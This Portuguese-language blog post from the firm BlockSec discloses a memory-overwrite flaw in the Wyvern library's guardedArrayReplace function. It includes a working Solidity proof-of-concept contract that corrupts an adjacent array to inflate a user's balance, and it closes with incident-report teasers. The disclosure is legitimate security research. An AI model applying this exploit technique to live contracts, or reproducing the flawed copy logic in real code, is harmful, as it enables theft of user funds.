Back to Blog

Uma Nova Vulnerabilidade de Sobrescrita de Memória Descoberta no Protocolo Wyvern

Code Auditing
8 de setembro de 2022
7 min read

Introdução

Nosso sistema de detecção de vulnerabilidades encontrou uma vulnerabilidade de sobrescrita de memória na implementação mais recente da biblioteca Wyvern, que pertence ao protocolo de exchange descentralizada Wyvern anteriormente utilizado pela OpenSea. Este bug pode levar a uma escrita arbitrária no armazenamento.

Tentamos contatar o projeto (por exemplo, por e-mail e redes sociais), mas ainda não obtivemos resposta. Como a OpenSea migrou para o protocolo Seaport, acreditamos ser seguro divulgar as informações detalhadas ao público. Além disso, gostaríamos de compartilhar essas descobertas para engajar a comunidade, já que o bug em si é um pouco complicado, enquanto a exploração é bastante interessante.

Descrição

O código vulnerável pode ser encontrado no repositório oficial do código com o hash de commit 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9.

Especificamente, este bug está na função guardedArrayReplace() do ArrayUtils.sol. Como o nome sugere, esta função é usada para copiar seletivamente um array de bytes de tamanho dinâmico (ou seja, o segundo parâmetro chamado desired) para outro (ou seja, o primeiro parâmetro chamado array). Note que esta função é implementada para realizar uma operação em nível de palavra (ou seja, 0x20 bytes), portanto a lógica do código pode ser dividida em duas etapas com base no resultado do cálculo da divisão.

Para a parte do quociente (ou seja, words = array.length / 0x20), a lógica do código da linha 42 à linha 49 copiará o array desejado para o array alvo palavra por palavra. Esta etapa funciona conforme esperado, embora a instrução assert na linha 39 seja inútil devido à aritmética de inteiros.

Após a etapa anterior, se a divisão produzir um resto, significa que ainda existem alguns bytes que não foram copiados corretamente. A lógica do código da linha 52 à linha 66 foi projetada para lidar com esses bytes. Infelizmente, a instrução if na linha 52 usa erroneamente o quociente (words, ou seja, array.length / 0x20) em vez do resto (array.length % 0x20) para realizar a verificação.

A gravidade

Este bug pode levar a uma escrita arbitrária no armazenamento. Suponha que array.length seja exatamente divisível por 0x20, a operação de cópia é de fato realizada na lógica do loop. No entanto, na maioria dos casos, a função entrará na lógica vulnerável e tentará copiar uma palavra após o array desejado para o array alvo, o que inevitavelmente causa um acesso fora dos limites. Pior ainda, a lógica incorreta poderia ser explorada para sobrescrever uma palavra no final do array alvo, que é uma área de memória desconhecida que pode ter qualquer uso.

Como explorar este bug?

Desenvolvemos um contrato PoC para ilustrar o vetor de ataque potencial. O contrato PoC possui duas funções: a primeira, chamada test(), é usada para realizar o ataque, enquanto a segunda é apenas a função vulnerável guardedArrayReplace().

Especificamente, na função test(), primeiro definimos alguns bytes na memória (a, b e mask) e um array (ou seja, _rewards). O _rewards definido aqui será usado para calcular as recompensas do usuário. Após invocar a função guardedArrayReplace() para copiar a para b com mask, _rewards será adicionado ao saldo do usuário (ou seja, balances[msg.sender]).

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

Aqui usamos o Remix para demonstrar o resultado. Vale notar que, inicialmente, não atribuímos nenhum valor a _rewards e balances. Após a exploração, o saldo do usuário é definido como um valor extremamente grande (conforme mostrado no retângulo vermelho).

Conclusão

Embora raras, tais vulnerabilidades de sobrescrita de memória ainda podem existir em contratos inteligentes. Os desenvolvedores precisam prestar atenção à lógica do código que manipula a memória.

Sobre a BlockSec

A BlockSec é uma empresa pioneira em segurança de blockchain fundada em 2021 por um grupo de especialistas em segurança de renome mundial. A empresa está comprometida em aprimorar a segurança e a usabilidade para o emergente mundo Web3, a fim de facilitar sua adoção em massa. Para isso, a BlockSec oferece serviços de auditoria de segurança para contratos inteligentes e chains EVM, a plataforma Phalcon para desenvolvimento de segurança e bloqueio proativo de ameaças, a plataforma MetaSleuth para rastreamento e investigação de fundos, e a extensão MetaDock para construtores web3 que navegam com eficiência no mundo cripto.

Até o momento, a empresa atendeu mais de 300 clientes renomados, como MetaMask, Uniswap Foundation, Compound, Forta e PancakeSwap, e recebeu dezenas de milhões de dólares em duas rodadas de financiamento de investidores proeminentes, incluindo Matrix Partners, Vitalbridge Capital e Fenbushi Capital.

Site oficial: https://blocksec.com/

Conta oficial no Twitter: https://twitter.com/BlockSecTeam

Sign up for the latest updates
Perdas de ~5,57 milhões USD: exploração de falhas no X100 Freezer e no NEM | Boletim semanal da BlockSec
Security Insights

Perdas de ~5,57 milhões USD: exploração de falhas no X100 Freezer e no NEM | Boletim semanal da BlockSec

Este relatório semanal aborda dois incidentes de segurança na Ethereum e na BNB Chain no período de 19/10/2026–25/10/2026. Ele examina uma tomada de controle da governança do X100 Freezer financiada por um empréstimo-relâmpago e uma falha na liquidação de impostos que afetou um pool de liquidez de um token NEM na BNB Chain. As perdas estimadas no escopo do relatório totalizam aproximadamente 5,57 milhões USD: cerca de 4,75 milhões USD da transação representativa do X100 e cerca de 820 mil USD do incidente no pool do NEM. O total exclui as extrações subsequentes do X100 relatadas separadamente.

Perdas de ~3,87 milhões USD: ataques à Autheo Network e à UNCX | Resumo semanal da BlockSec
Security Insights

Perdas de ~3,87 milhões USD: ataques à Autheo Network e à UNCX | Resumo semanal da BlockSec

Este relatório semanal aborda 3 incidentes de segurança no período de 12/10/2026–18/10/2026, com perdas totais estimadas em aproximadamente 3,87 milhões USD. A Autheo Network sofreu um comprometimento de chave privada com perdas de cerca de 1,76 milhões USD, a Qubic Wallet perdeu cerca de 1,30 milhões USD devido à geração de seeds fracas, e os contratos Smart Token Vesting V2 da UNCX Network sofreram um erro contábil de cerca de 807 mil USD nas redes Ethereum, BNB Chain, Base e Robinhood Chain. A análise em destaque da UNCX explica como um cálculo incorreto do total de cotas misturou parcelas de vesting criadas com diferentes proporções entre tokens e cotas, permitindo saques acima do devido de pools compartilhados.

~US$ 542 mil perdidos: ataque ao MakerDaoBot | Boletim semanal da BlockSec
Security Insights

~US$ 542 mil perdidos: ataque ao MakerDaoBot | Boletim semanal da BlockSec

O relatório cobre 1 incidente no Ethereum (05–11/10/2026), com perda estimada de US$ 542 mil. Um adaptador malicioso obteve acesso aos saldos MakerDAO via função desprotegida do MakerDaoBot, liquidou 4 leilões ETH-A e converteu 200 ETH-A em WETH, depois enviados como ETH ao atacante.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit